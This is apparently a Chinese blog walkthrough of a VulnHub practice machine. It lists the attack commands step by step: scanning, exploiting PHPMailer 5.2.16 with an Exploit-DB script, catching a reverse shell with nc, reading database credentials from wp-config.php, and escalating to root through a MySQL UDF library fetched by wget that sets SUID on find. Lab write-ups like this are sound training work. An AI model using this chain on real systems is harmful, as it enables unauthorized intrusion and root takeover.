博客主页:开心星人的博客主页
系列专栏:vulnhub
欢迎关注点赞收藏⭐️留言
首发时间:2022年7月10日
作者水平很有限,如果发现错误,还望告知,感谢!
跟着这篇文章打靶的
主机发现
arp-scan -l
靶机ip为192.168.88.150
端口扫描
nmap -sV -p- 192.168.88.150
访问80端口,未发现敏感信息
扫目录
dirb http://192.168.88.150
vendor目录有敏感信息
访问PATH
访问README.md
searchsploit PHPMailer 5.2.16
locate php/webapps/40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /tmp
使用说明
文件头加上
#!/usr/bin/python
# -*- coding: utf-8 -*-
python3 40974.py
nc -lvnp 6666
访问http://192.168.88.150/contact.php
再访问http://192.168.88.150/1.php
python -c 'import pty;pty.spawn("/bin/bash")';
发现flag2,还有两个用户
搜索flag
find / -name flag*
进入wordpress目录,看看有什么
查看wp-config.php
mysql -uroot -pR@v3nSecurity
登录mysql
select * from wp_users;
查看mysql的运行权限
ps -aux|grep mysql
是root权限,可以用来提权
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
编译运行,生成111.so文件
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc
现在需要将111.so下载到靶机上
使用python开启一个web服务
python3 -m http.server 80
在shell中wget http://192.168.88.132/111.so
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so')); //上传到哪就写哪
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so'; //这个和上一行不是一个路径嗷,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function do_system returns integer soname '111.so'; //创建 do_system 函数调用
select do_system('chmod u+s /usr/bin/find'); //给find命令赋予suid权限
退出mysql
find . -exec /bin/sh \;
提权成功
flag4在/root下